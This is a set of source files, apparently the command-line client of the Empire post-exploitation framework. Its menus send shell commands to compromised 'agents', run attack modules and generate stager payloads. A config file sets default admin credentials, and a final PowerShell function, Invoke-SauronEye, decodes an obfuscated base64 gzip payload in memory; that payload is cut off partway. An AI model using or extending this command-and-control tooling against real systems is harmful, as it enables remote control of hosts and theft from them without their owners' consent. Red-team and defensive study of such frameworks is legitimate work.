30 'back',
31 'interact',
32 'listeners',
33 'uselistener',
34 'usestager',
35 'plugins',
36 'useplugin',
37 'agents',
38 'usemodule',
39 'credentials',
40 'admin',
41 'exit',
42 ]
43
44 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
45 """
46 The default completion method. A menu should implement its own get_completion method
47 for autocompleting its own commands and then use this as a fallback for autocompleting the globals.
48 """
49 word_before_cursor = document.get_word_before_cursor()
50 for word in filtered_search_list(word_before_cursor, self.autocomplete()):
51 if word.startswith(word_before_cursor):
52 yield Completion(word, start_position=-len(word_before_cursor))
53
54 def on_enter(self, **kwargs) -> bool:
55 """
56 When a user changes menus, the on_enter method will be called. Returning True means that
57 changing menus succeeded. Any initialization that needs to happen should happen here before returning.
58 For example: Checking to see that the requested module is available, setting it to self.selected, and then
59 printing out its options.
60 :param kwargs: A menu can implement with any specific kwargs it needs
61 :return: bool
62 """
63 return True
64
65 def on_leave(self):
66 """
67 When a user changes menus, the on_leave method will be called. Any cleanup that needs to happen should happen at this point.
68 :return:
69 """
70 pass
71
72 def on_connect(self):
73 """
74 When the application connects to a server, this function is called.
75 """
76 pass
77
78 def on_disconnect(self):
79 """
80 When the application disconnects from a server, this function is called.
81 """
82 pass
83
84 def get_prompt(self) -> str:
85 """
86 This is the (HTML-wrapped) string that will be used for the prompt. If it doesn't need to be customized,
87 this will display a combination of the menu's display name and the selected item.
88 :return:
89 """
90 joined = '/'.join([self.display_name, self.selected]).strip('/')
91 return f"(Empire: <ansiblue>{joined}</ansiblue>) > "
92
93 @command
94 def help(self):
95 """
96 Display the help menu for the current menu
97
98 Usage: help
99 """
100 help_list = []
101 for name in self._cmd_registry:
102 try:
103 description = print_util.text_wrap(getattr(self, name).__doc__.split('\n')[1].lstrip(), width=35)
104 usage = print_util.text_wrap(getattr(self, name).__doc__.split('\n')[3].lstrip()[7:], width=35)
105 help_list.append([name, description, usage])
106 except:
107 continue
108
109 help_list.insert(0, ['Name', 'Description', 'Usage'])
110 table_util.print_table(help_list, 'Help Options')
0 from src.EmpireCliState import state
1 from src.menus.Menu import Menu
2 from src.utils import table_util
3 from src.utils.autocomplete_util import position_util
4 from src.utils.cli_util import register_cli_commands, command
5
6
7 @register_cli_commands
8 class PluginMenu(Menu):
9 def __init__(self):
10 super().__init__(display_name='plugins', selected='')
11
12 def autocomplete(self):
13 return self._cmd_registry + super().autocomplete()
14
15 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
16 if position_util(cmd_line, 1, word_before_cursor):
17 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
18
19 def on_enter(self):
20 self.list()
21 return True
22
23 @command
24 def list(self) -> None:
25 """
26 Get active plugins
27
28 Usage: list
29 """
30 plugins_list = list(map(
31 lambda x: [x['Name'], x['Description']], state.get_active_plugins().values()))
32 plugins_list.insert(0, ['Name', 'Description'])
33
34 table_util.print_table(plugins_list, 'Plugins')
35
36
37 plugin_menu = PluginMenu()
0 import threading
1 import time
2
3 from src.EmpireCliState import state
4 from src.menus.Menu import Menu
5 from src.utils import print_util
6 from src.utils.autocomplete_util import position_util
7 from src.utils.cli_util import register_cli_commands
8
9
10 @register_cli_commands
11 class ShellMenu(Menu):
12 def __init__(self):
13 super().__init__(display_name='', selected='')
14
15 def autocomplete(self):
16 return self._cmd_registry + super().autocomplete()
17
18 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
19 if position_util(cmd_line, 1, word_before_cursor):
20 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
21
22 def on_enter(self, **kwargs) -> bool:
23 if 'selected' not in kwargs:
24 return False
25 else:
26 self.use(kwargs['selected'])
27 print('Exit Shell Menu with ctrl-c')
28 return True
29
30 def get_prompt(self) -> str:
31 return f"<ansiblue>({self.selected})</ansiblue> <ansired>{self.display_name}</ansired> > "
32
33 def tasking_id_returns(self, agent_name, task_id: int):
34 """
35 Polls and prints tasking data for taskID
36
37 Usage: tasking_id_returns <agent_name> <task_id>
38 """
39 # todo: there must be a better way to do this with notifications
40 # todo: add a timeout value
41 # Set previous results to current results to avoid a lot of old data
42 status_result = False
43
44 while not status_result:
45 try:
46 results = state.get_agent_result(agent_name)['results'][0]['AgentResults'][task_id - 1]
47 if results['results'] is not None:
48 print(print_util.color(results['results']))
49 status_result = True
50 except:
51 pass
52 time.sleep(1)
53
54 def use(self, agent_name: str) -> None:
55 """
56 Use shell
57
58 Usage: shell
59 """
60 self.selected = agent_name
61 self.session_id = state.agents[self.selected]['session_id']
62 self.language = state.agents[self.selected]['language']
63 if self.language == 'powershell':
64 self.powershell_update_directory(self.session_id)
65 elif self.language == 'python':
66 self.python_update_directory(self.session_id)
67
68 def powershell_update_directory(self, session_id: str):
69 """
70 Update current directory
71
72 Usage: update_directory <session_id>
73 """
74 temp_name = None
75 task_id: str = str(state.agent_shell(session_id, '(Resolve-Path .\).Path')['taskID'])
76
77 # Retrieve directory results and wait for response
78 while temp_name is None:
79 try:
80 temp_name = state.get_task_result(session_id, task_id)['results']
81 except:
82 pass
83 time.sleep(1)
84 self.display_name = temp_name
85 self.get_prompt()
86
87 def python_update_directory(self, session_id: str):
88 """
89 Update current directory
90
91 Usage: update_directory <session_id>
92 """
93 temp_name = None
94 task_id: str = str(state.agent_shell(session_id, 'echo $PWD')['taskID'])
95
96 # Retrieve directory results and wait for response
97 while temp_name is None:
98 try:
99 temp_name = state.get_task_result(session_id, task_id)['results'].split('\r')[0]
100 except:
101 pass
102 time.sleep(1)
103 self.display_name = temp_name
104 self.get_prompt()
105
106 def shell(self, agent_name: str, shell_cmd: str):
107 """
108 Tasks an the specified agent_name to execute a shell command.
109
110 Usage: <shell_cmd>
111 """
112 response = state.agent_shell(agent_name, shell_cmd)
113 if shell_cmd.split()[0].lower() in ['cd', 'set-location']:
114 if self.language == 'powershell':
115 shell_return = threading.Thread(target=self.powershell_update_directory, args=[agent_name])
116 shell_return.daemon = True
117 shell_return.start()
118 elif self.language == 'python':
119 shell_return = threading.Thread(target=self.python_update_directory, args=[agent_name])
120 shell_return.daemon = True
121 shell_return.start()
122 else:
123 shell_return = threading.Thread(target=self.tasking_id_returns, args=[self.session_id, response['taskID']])
124 shell_return.daemon = True
125 shell_return.start()
126
127
128 shell_menu = ShellMenu()
0 from prompt_toolkit.completion import Completion
1
2 from src.EmpireCliState import state
3 from src.menus.UseMenu import UseMenu
4 from src.utils import print_util
5 from src.utils.autocomplete_util import filtered_search_list, position_util
6 from src.utils.cli_util import register_cli_commands, command
7
8
9 @register_cli_commands
10 class UseListenerMenu(UseMenu):
11 def __init__(self):
12 super().__init__(display_name='uselistener', selected='', record=None, record_options=None)
13
14 def autocomplete(self):
15 return self._cmd_registry + super().autocomplete()
16
17 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
18 if cmd_line[0] == 'uselistener' and position_util(cmd_line, 2, word_before_cursor):
19 for listener in filtered_search_list(word_before_cursor, state.listener_types):
20 yield Completion(listener, start_position=-len(word_before_cursor))
21 else:
22 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
23
24 def on_enter(self, **kwargs) -> bool:
25 if 'selected' not in kwargs:
26 return False
27 else:
28 self.use(kwargs['selected'])
29 self.options()
30 return True
31
32 def use(self, module: str) -> None:
33 """
34 Use the selected listener
35
36 Usage: use <module>
37 """
38 if module in state.listener_types:
39 self.selected = module
40 # TODO: Add API endpoint for listener info
41 # self.record = state.get_listener_info(self.selected)
42 self.record_options = state.get_listener_options(self.selected)['listeneroptions']
43
44 @command
45 def execute(self):
46 """
47 Create the current listener
48
49 Usage: execute
50 """
51 # todo validation and error handling
52 # todo alias start to execute and generate
53 # Hopefully this will force us to provide more info in api errors ;)
54 post_body = {}
55 for key, value in self.record_options.items():
56 post_body[key] = self.record_options[key]['Value']
57
58 response = state.create_listener(self.selected, post_body)
59 if 'success' in response.keys():
60 return
61 elif 'error' in response.keys():
62 print(print_util.color('[!] Error: ' + response['error']))
63
64 @command
65 def generate(self):
66 """
67 Create the current listener
68
69 Usage: generate
70 """
71 self.execute()
72
73 @command
74 def info(self):
75 """
76 Info about current listener (ex: Authors, Description, etc)
77
78 Usage: info
79 """
80 print(print_util.color('[!] TODO: Add API endpoint for listener info'))
81 #print_util.display_listener(self.selected, self.listener)
82
83
84 use_listener_menu = UseListenerMenu()
0 import textwrap
1
2 from prompt_toolkit.completion import Completion
3
4 from src.EmpireCliState import state
5 from src.menus.Menu import Menu
6 from src.utils import print_util, table_util
7 from src.utils.autocomplete_util import position_util, filtered_search_list
8 from src.utils.cli_util import command
9
10
11 class UseMenu(Menu):
12 """
13 A base menu object that can be used when needing the typical "use" behavior.
14 Such as set, unset, info
15 """
16
17 def __init__(self, display_name='', selected='', record=None, record_options=None):
18 """
19 :param display_name: See Menu
20 :param selected: See Menu
21 :param record: The record object
22 :param record_options: The options to configure for the current record
23 """
24 super().__init__(display_name=display_name, selected=selected)
25 self.record = record
26 self.record_options = record_options
27
28 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
29 """
30 Adds autocomplete for the set and unset methods and defers to the base Menu when trying to invoke
31 global commands (position 1 commands).
32 """
33 if cmd_line[0] in ['set', 'unset'] and position_util(cmd_line, 2, word_before_cursor):
34 for option in filtered_search_list(word_before_cursor, self.record_options):
35 yield Completion(option, start_position=-len(word_before_cursor))
36 elif cmd_line[0] == 'set' and position_util(cmd_line, 3, word_before_cursor):
37 if len(cmd_line) > 1 and cmd_line[1] == 'listener':
38 for listener in filtered_search_list(word_before_cursor, state.listeners.keys()):
39 yield Completion(listener, start_position=-len(word_before_cursor))
40 if len(cmd_line) > 1 and cmd_line[1] == 'agent':
41 for listener in filtered_search_list(word_before_cursor, state.agents.keys()):
42 yield Completion(listener, start_position=-len(word_before_cursor))
43 elif position_util(cmd_line, 1, word_before_cursor):
44 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
45
46 @command
47 def set(self, key: str, value: str):
48 """
49 Set a field for the current record
50
51 Usage: set <key> <value>
52 """
53 if key in self.record_options:
54 self.record_options[key]['Value'] = value
55 print(print_util.color('[*] Set %s to %s' % (key, value)))
56 else:
57 print(print_util.color(f'Could not find field: {key}'))
58
59 @command
60 def unset(self, key: str):
61 """
62 Unset a record option.
63
64 Usage: unset <key>
65 """
66 if key in self.record_options:
67 self.record_options[key]['Value'] = ''
68 print(print_util.color('[*] Unset %s' % key))
69 else:
70 print(print_util.color(f'Could not find field: {key}'))
71
72 @command
73 def options(self):
74 """
75 Print the current record options
76
77 Usage: options
78 """
79 record_list = []
80 for key, value in self.record_options.items():
81 values = list(map(lambda x: '\n'.join(textwrap.wrap(str(x), width=35)), value.values()))
82 values.reverse()
83 temp = [key] + values
84 record_list.append(temp)
85
86 record_list.insert(0, ['Name', 'Value', 'Required', 'Description'])
87
88 table_util.print_table(record_list, 'Record Options')
89
90 @command
91 def info(self):
92 """"
93 Print default info on the current record.
94
95 Usage: info
96 """
97 record_list = []
98
99 for key, values in self.record.items():
100 if (key in ['Name', 'Author', 'Comments', 'Description', 'Language', 'Background', 'NeedsAdmin',
101 'OpsecSafe', 'Techniques', 'Software']):
102 if isinstance(values, list):
103 if values[0] != '':
104 for i, value in enumerate(values):
105 if i == 0:
106 record_list.append([print_util.color(key, 'blue'), print_util.text_wrap(value, width=40)])
107 else:
108 record_list.append(['', print_util.text_wrap(value)])
109 elif values != '':
110 record_list.append([print_util.color(key, 'blue'), print_util.text_wrap(values, width=40)])
111
112 table_util.print_table(record_list, 'Record Info', colored_header=False, no_borders=True)
0 import threading
1 import time
2
3 from prompt_toolkit.completion import Completion
4
5 from src.EmpireCliState import state
6 from src.menus.UseMenu import UseMenu
7 from src.utils import print_util
8 from src.utils.autocomplete_util import filtered_search_list, position_util
9 from src.utils.cli_util import register_cli_commands, command
10
11
12 @register_cli_commands
13 class UseModuleMenu(UseMenu):
14 def __init__(self):
15 super().__init__(display_name='usemodule', selected='', record=None, record_options=None)
16
17 def autocomplete(self):
18 return self._cmd_registry + super().autocomplete()
19
20 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
21 if cmd_line[0] == 'usemodule' and position_util(cmd_line, 2, word_before_cursor):
22 for module in filtered_search_list(word_before_cursor, state.modules.keys()):
23 yield Completion(module, start_position=-len(word_before_cursor))
24 else:
25 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
26
27 def tasking_id_returns(self, agent_name, task_id: int):
28 """
29 Polls and prints tasking data for taskID
30
31 Usage: tasking_id_returns <agent_name> <task_id>
32 """
33 # todo: there must be a better way to do this with notifications
34 # Set previous results to current results to avoid a lot of old data
35 status_result = False
36
37 while not status_result:
38 try:
39 results = state.get_agent_result(agent_name)['results'][0]['AgentResults'][task_id - 1]
40 if results['results'] is not None:
41 if 'Job started:' not in results['results']:
42 print(print_util.color('[*] Task ' + str(results['taskID']) + " results received"))
43 print(print_util.color(results['results']))
44 status_result = True
45 except:
46 pass
47 time.sleep(1)
48
49 def on_enter(self, **kwargs) -> bool:
50 if 'selected' not in kwargs:
51 return False
52 else:
53 self.use(kwargs['selected'])
54
55 if 'agent' in kwargs and 'Agent' in self.record_options:
56 self.set('Agent', kwargs['agent'])
57 self.info()
58 self.options()
59 return True
60
61 def use(self, module: str) -> None:
62 """
63 Use the selected module
64
65 Usage: use <module>
66 """
67 if module in state.modules.keys():
68 self.selected = module
69 self.record = state.modules[module]
70 self.record_options = state.modules[module]['options']
71
72 @command
73 def execute(self):
74 """
75 Execute the selected module
76
77 Usage: execute
78 """
79 # todo validation and error handling
80 # Hopefully this will force us to provide more info in api errors ;)
81 post_body = {}
82 for key, value in self.record_options.items():
83 post_body[key] = self.record_options[key]['Value']
84
85 response = state.execute_module(self.selected, post_body)
86 if 'success' in response.keys():
87 print(print_util.color(
88 '[*] Tasked ' + self.record_options['Agent']['Value'] + ' to run Task ' + str(response['taskID'])))
89 agent_return = threading.Thread(target=self.tasking_id_returns,
90 args=[self.record_options['Agent']['Value'], response['taskID']])
91 agent_return.daemon = True
92 agent_return.start()
93 elif 'error' in response.keys():
94 print(print_util.color('[!] Error: ' + response['error']))
95
96 @command
97 def generate(self):
98 """
99 Execute the selected module
100
101 Usage: generate
102 """
103 self.execute()
104
105
106 use_module_menu = UseModuleMenu()
0 from prompt_toolkit.completion import Completion
1
2 from src.EmpireCliState import state
3 from src.menus.UseMenu import UseMenu
4 from src.utils.autocomplete_util import filtered_search_list, position_util
5 from src.utils import print_util
6 from src.utils.cli_util import register_cli_commands, command
7
8
9 @register_cli_commands
10 class UsePluginMenu(UseMenu):
11 def __init__(self):
12 super().__init__(display_name='useplugin', selected='', record_options=None)
13
14 def autocomplete(self):
15 return self._cmd_registry + super().autocomplete()
16
17 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
18 if cmd_line[0] == 'useplugin' and position_util(cmd_line, 2, word_before_cursor):
19 for plugin in filtered_search_list(word_before_cursor, state.plugins.keys()):
20 yield Completion(plugin, start_position=-len(word_before_cursor))
21 else:
22 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
23
24 def on_enter(self, **kwargs) -> bool:
25 if 'selected' not in kwargs:
26 return False
27 else:
28 self.use(kwargs['selected'])
29 self.options()
30 return True
31
32 def use(self, plugin_name: str) -> None:
33 """
34 Use the selected plugin
35
36 Usage: use <plugin_name>
37 """
38 if plugin_name in state.plugins:
39 self.selected = plugin_name
40 self.record = state.plugins[plugin_name]
41 self.record_options = state.plugins[plugin_name]['options']
42
43 @command
44 def execute(self):
45 """
46 Run current plugin
47
48 Usage: execute
49 """
50 # todo validation and error handling
51 # Hopefully this will force us to provide more info in api errors ;)
52 post_body = {}
53 for key, value in self.record_options.items():
54 post_body[key] = self.record_options[key]['Value']
55
56 response = state.execute_plugin(self.selected, post_body)
57 #print(response)
58
59 @command
60 def generate(self):
61 """
62 Run current plugin
63
64 Usage: generate
65 """
66 self.execute()
67
68 @command
69 def info(self):
70 """
71 Info about current plugin (ex: Authors, Description, etc)
72
73 Usage: info
74 """
75 print(print_util.color('[!] TODO: info to plugins API endpoint'))
76
77
78 use_plugin_menu = UsePluginMenu()
0 import base64
1 import string
2 import textwrap
3
4 from prompt_toolkit.completion import Completion
5
6 from src.utils import print_util
7 from src.EmpireCliState import state
8 from src.menus.UseMenu import UseMenu
9 from src.utils.autocomplete_util import filtered_search_list, position_util
10 from src.utils.cli_util import register_cli_commands, command
11
12
13 @register_cli_commands
14 class UseStagerMenu(UseMenu):
15 def __init__(self):
16 super().__init__(display_name='usestager', selected='', record=None, record_options=None)
17
18 def autocomplete(self):
19 return self._cmd_registry + super().autocomplete()
20
21 def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
22 if cmd_line[0] == 'usestager' and position_util(cmd_line, 2, word_before_cursor):
23 for stager in filtered_search_list(word_before_cursor, state.stagers.keys()):
24 yield Completion(stager, start_position=-len(word_before_cursor))
25 else:
26 yield from super().get_completions(document, complete_event, cmd_line, word_before_cursor)
27
28 def on_enter(self, **kwargs) -> bool:
29 if 'selected' not in kwargs:
30 return False
31 else:
32 self.use(kwargs['selected'])
33 self.info()
34 self.options()
35 return True
36
37 def use(self, module: string) -> None:
38 """
39 Use the selected stager.
40
41 Usage: use <module>
42 """
43 if module in state.stagers.keys(): # todo rename module?
44 self.selected = module
45 self.record = state.stagers[module]
46 self.record_options = state.stagers[module]['options']
47
48 listener_list = []
49 for key, value in self.record_options.items():
50 values = list(map(lambda x: '\n'.join(textwrap.wrap(str(x), width=35)), value.values()))
51 values.reverse()
52 temp = [key] + values
53 listener_list.append(temp)
54
55 @command
56 def execute(self):
57 """
58 Execute the stager
59
60 Usage: execute
61 """
62 # todo validation and error handling
63 # Hopefully this will force us to provide more info in api errors ;)
64 post_body = {}
65 for key, value in self.record_options.items():
66 post_body[key] = self.record_options[key]['Value']
67
68 response = state.create_stager(self.selected, post_body)
69
70 if response[self.selected].get('OutFile', {}).get('Value'):
71 file_name = response[self.selected].get('OutFile').get('Value').split('/')[-1]
72 output_bytes = base64.b64decode(response[self.selected]['Output'])
73 file = open(f'generated-stagers/{file_name}', 'wb')
74 file.write(output_bytes)
75 file.close()
76 print(f'{file_name} written to generated_stagers directory')
77 else:
78 print(response[self.selected]['Output'])
79
80 @command
81 def generate(self):
82 """
83 Generate the stager
84
85 Usage: generate
86 """
87 self.execute()
88
89
90 use_stager_menu = UseStagerMenu()
(New empty file)
(New empty file)
0 from typing import List
1
2
3 def filtered_search_list(search: str, keys) -> List[str]:
4 """
5 Filters the search list by a search string
6 :param search: the string prefix
7 :param keys: the list of strings to search
8 :return: filtered list
9 """
10 return list(filter(lambda x: (search.lower()) in x.lower(), keys))
11
12
13 def position_util(cmd_line: List[str], word_position: int, word_before_cursor: str) -> bool:
14 """
15 Util method for autocompletion conditions. Makes autocomplete work well.
16
17 :param cmd_line: the list of command line words
18 :param word_position: the position of the word we are attempting to autocomplete
19 :param word_before_cursor: word_before_cursor parsed from the document
20 :return: True if we should try to autocomplete this word.
21 """
22 # Special case for no characters typed yet (we send in [''] as cmd_line which fucks with the logic)
23 if word_position == 1 and len(cmd_line) == 1 and cmd_line[0] == '':
24 return True
25 # Don't keep completing after the word position
26 # Don't complete if we just hit space after the word position
27 # Don't complete on the previous word position until there is a space
28 return len(cmd_line) < word_position + 1\
29 and not (len(cmd_line) == word_position and word_before_cursor == '')\
30 and not (len(cmd_line) == word_position - 1 and word_before_cursor != '')
0 import functools
1
2
3 # Credit to SilentTrinity on these decorators.
4 # https://github.com/byt3bl33d3r/SILENTTRINITY/blob/master/silenttrinity/core/client/utils.py
5 def command(func):
6 func._command = True
7
8 @functools.wraps(func)
9 def wrap(*args, **kwargs):
10 return func(*args, **kwargs)
11
12 return wrap
13
14
15 def register_cli_commands(cls):
16 cls._cmd_registry = []
17 for methodname in dir(cls):
18 method = getattr(cls, methodname)
19 if hasattr(method, '_command'):
20 cls._cmd_registry.append(methodname)
21 return cls
0 import humanize
1 from datetime import datetime, timezone
2
3
4 def humanize_datetime(iso_string: str = None):
5 """
6 From the iso-8601 formatted timestamp, Get a string representing the local time to the user
7 and a time delta like '2020-12-24 15:28:44 MST (28 seconds ago)'
8 :param iso_string: ISO-8601 formatted timestamp
9 :return: humanized string
10 """
11 if iso_string is None:
12 return ''
13
14 parsed = datetime.fromisoformat(iso_string)
15 local_str = parsed.astimezone().strftime('%Y-%m-%d %H:%M:%S %Z')
16
17 return f"{local_str} ({humanize.naturaltime(datetime.now(timezone.utc) - parsed)})"
0 import os
1 import textwrap
2 import time
3
4
5 def color(string_name, color_name=None):
6 """
7 Change text color for the Linux terminal.
8 """
9
10 attr = ['1']
11 # bold
12
13 if color_name:
14 if color_name.lower() == "red":
15 attr.append('31')
16 elif color_name.lower() == "green":
17 attr.append('32')
18 elif color_name.lower() == "yellow":
19 attr.append('33')
20 elif color_name.lower() == "blue":
21 attr.append('34')
22 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string_name)
23
24 else:
25 if string_name.strip().startswith("[!]"):
26 attr.append('31')
27 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string_name)
28 elif string_name.strip().startswith("[+]"):
29 attr.append('32')
30 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string_name)
31 elif string_name.strip().startswith("[*]"):
32 attr.append('34')
33 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string_name)
34 elif string_name.strip().startswith("[>]"):
35 attr.append('33')
36 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string_name)
37 else:
38 return string_name
39
40
41 def title(version, modules, listeners, agents):
42 """
43 Print the tool title, with version.
44 """
45 os.system('clear')
46 print("================================================================================")
47 print(" [Empire] Post-Exploitation Framework")
48 print('================================================================================')
49 print(" [Version] %s | [Web] https://github.com/BC-SECURITY/Empire" % version)
50 print('================================================================================')
51 print(" [Starkiller] Multi-User GUI | [Web] https://github.com/BC-SECURITY/Starkiller")
52 print('================================================================================')
53 print("""
54 _______ .___ ___. .______ __ .______ _______
55 | ____|| \/ | | _ \ | | | _ \ | ____|
56 | |__ | \ / | | |_) | | | | |_) | | |__
57 | __| | |\/| | | ___/ | | | / | __|
58 | |____ | | | | | | | | | |\ \----.| |____
59 |_______||__| |__| | _| |__| | _| `._____||_______|
60
61 """)
62 print(' ' + color(modules, 'green') + ' modules currently loaded')
63 print('')
64 print(' ' + color(listeners, 'green') + ' listeners currently active')
65 print('')
66 print(' ' + color(agents, 'green') + ' agents currently active')
67 print('')
68
69
70 def loading():
71 """
72 Print and ascii loading screen.
73 """
74
75 print("""
76 `````````
77 ``````.--::///+
78 ````-+sydmmmNNNNNNN
79 ``./ymmNNNNNNNNNNNNNN
80 ``-ymmNNNNNNNNNNNNNNNNN
81 ```ommmmNNNNNNNNNNNNNNNNN
82 ``.ydmNNNNNNNNNNNNNNNNNNNN
83 ```odmmNNNNNNNNNNNNNNNNNNNN
84 ```/hmmmNNNNNNNNNNNNNNNNMNNN
85 ````+hmmmNNNNNNNNNNNNNNNNNMMN
86 ````..ymmmNNNNNNNNNNNNNNNNNNNN
87 ````:.+so+//:---.......----::-
88 `````.`````````....----:///++++
89 ``````.-/osy+////:::---...-dNNNN
90 ````:sdyyydy` ```:mNNNNM
91 ````-hmmdhdmm:` ``.+hNNNNNNM
92 ```.odNNmdmmNNo````.:+yNNNNNNNNNN
93 ```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
94 ```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
95 ```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
96 ````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
97 ```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
98 ``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
99 `sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
100 :NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
101 -NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
102 `sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
103 /yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
104 `+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
105 `./dmmmmNNNNNNNNNNNNNNNNmmd.
106 `ommmmmNNNNNNNmNmNNNNmmd:
107 :dmmmmNNNNNmh../oyhhhy:
108 `sdmmmmNNNmmh/++-.+oh.
109 `/dmmmmmmmmdo-:/ossd:
110 `/ohhdmmmmmmdddddmh/
111 `-/osyhdddddhyo:
112 ``.----.`
113
114 Welcome to the Empire""")
115 time.sleep(3)
116 os.system('clear')
117
118
119 def text_wrap(text, width=35):
120 """
121 Wraps text to newlines given a maximum width per line.
122 :param text:
123 :param width:
124 :return: String wrapped by newlines at the given width
125 """
126 return '\n'.join(textwrap.wrap(str(text), width=width))
127
0 from datetime import datetime
1 from typing import List
2
3 from terminaltables import SingleTable
4
5 import src.utils.print_util as print_utils
6
7
8 def print_table(data: List[List[str]] = None, title: str = '', colored_header: bool = True, no_borders: bool = False):
9 if data is None:
10 return
11
12 # Make header blue
13 if colored_header:
14 for x in range(len(data[0])):
15 data[0][x] = print_utils.color(data[0][x], 'blue')
16
17 table = SingleTable(data)
18 table.title = title
19 table.inner_row_border = True
20
21 if no_borders:
22 table.inner_row_border = False
23 table.inner_column_border = False
24 table.outer_border = False
25 table.inner_footing_row_border = False
26 table.inner_heading_row_border = False
27
28 print(table.table)
29
30
31 def print_agent_table(data: List[List[str]] = None, formatting: List[List[str]] = None, title: str = ''):
32 if data is None:
33 return
34
35 # Make header blue
36 for x in range(len(data[0])):
37 data[0][x] = print_utils.color(data[0][x], 'blue')
38
39 for x in range(len(data))[1:]:
40 # Add asterisk for high-integrity agents
41 if formatting[x][1]:
42 data[x][1] = data[x][1] + '*'
43
44 # color agents
45 if formatting[x][0]:
46 color = 'red'
47 elif not formatting[x][0]:
48 color = 'green'
49
50 # Set colors for entire row
51 for y in range(len(data[x])):
52 data[x][y] = print_utils.color(data[x][y], color)
53
54 table = SingleTable(data)
55 table.title = title
56 table.inner_row_border = True
57
58 print(table.table)
0 database:
1 type: sqlite
2 location: data/empire.db
3 defaults:
4 # staging key will first look at OS environment variables, then here.
5 # If empty, will be prompted (like Empire <3.7).
6 staging-key: RANDOM
7 username: empireadmin
8 password: password123
9 obfuscate: false
10 # Note the escaped backslashes
11 obfuscate-command: "Token\\All\\1"
12 # an IP white list to ONLY accept clients from
13 # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
14 ip-whitelist: ""
15 # an IP black list to reject accept clients from
16 # format is "192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8"
17 ip-blacklist: ""
0 function Invoke-SauronEye
1 {
2
3 [CmdletBinding()]
4 Param (
5 [String]
6 $Command = " "
7
8 )
9 $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("H4sIAAAAAAAEAIy5BVyTbdQ4PDbYYJSju2N0h5TSndJINyKD0RKKdIOgNIiSChIiYUurgIQoiICAlAJSiojgd9+b9TzP+77/bz/YFedcp8+5Yoa2WRAYBAIhBP5//IBA2iH4z0nI//tzAfinYL9LAWkhGeRsJzAY5DT38g7k8MdiPLHOZzlcnf38MEEcLu4c2GA/Dm8/Dg3jUxxnMW7uouTkSJ6fNEw0IRADAhik36xk7hfddxAoASmBOAQiSQCBEOPnVEyBPscvjJP4PhQvN/iB/wJdJcDNgx8YxCkeAjmG+/vT/m5wn/cmBBArsONEAKkj+p+UJICQAY04gCf//8Mmvz8cv0XHfYiBsc5fY9Eg97AgoNWQ+KmX5B+5/yLhJIoNxLoCfZxsgIw4RaUJ/oF3EvgTxbr7YgBEsp8y42gp/AdP7T9imuJxQNmgECLIGpQAomEIgYCzgGvgaSoA2+7//2ozoX2AVYJcUBiaCOxQixNCIiE4eigomhyYQsKjAachQTBSGEojGA2ACOEYSgAExwJ9fzQp0CVF/BMLMQwMoWg4OIcAvoLAIRXABTAykgqG5QUX4vpQKhgVIQbowsF1KMJgwBJQQdFAFDADGoZQkA2KJgEwBZnFoRBBnN6AbBFgMCHpSOFUBGgkAMVPwDCAMMgZJEIYDkcDtkW+BRYQHAPXkEDo2CFIUGdmcQKIOgSMt190MICiSKQQDRUETQH0SBHgWjjfDIxvBgLMAboiRRZmaKkgR3QAOjPmGEgZikbhGRCgQap0EBJ2CAxQmAAKeJVTBEIBwcsKUVSEIMC+HjSQClgRBXL8qRIXlAZNDdod1E0UgssPVDQ1qA+GBpQJLgIYBU4Kh2FoQSvSAeTJcOoh8EIQ/9aPGkLJhdePWhwGSAMBogPQjwoCGIgBtC4xHIGmB3nRCMpCoWg60DV0eJ8T4eoHIDsKhqbB+RzHNhhYR0CKEOZEQOkwwFIkBzsgOzmchA7nbCoohh9AFoHCBeEgCyQfDS5+hABaCJA3DE34mxgVARbzy+dwGioCYDFAC04cTA26GyezNASXg8A6QjQ7SJgNSo9mxlEQJoEDk0ygU6AwE0ITNCPQhZkIwwlNaI5ggnSA/Qhx60lA+8H+GRq4MRQDLEHCCAM5gZUYpn9HCd6GxBBOgV82JITo/8wRGI0pIfCH7QDkh2JXQS2YQeMBzoSbArKw4GKeThCGwyA0wfoT/AMFhkehOyIA9STAxTBOTzQbTjk8AQQUzQoOYcKUf2ZYcAiCeJ/q/fQpNgugj8NGYltAVtR/kQFMjR0CJuF4OBr6E04KRdBj2H5lJx3Orj/pmv6XLk7wv0mCIDhWCfq3YqR/wUHNEVi9f8AFbfEU/z3NDPA0A3giQRvg3IJ3ESkdGYIK+sdlcCoYhh1kQAsjiQAiidCUkCSCCGzpqQlnaGaQxEAa4P2HdxEdUD5+5wMlRFQZ70vRQKAyIy+AJAUt8YkHhUWBBKGEUSA9QQUoPYYTnEZzgVmJqx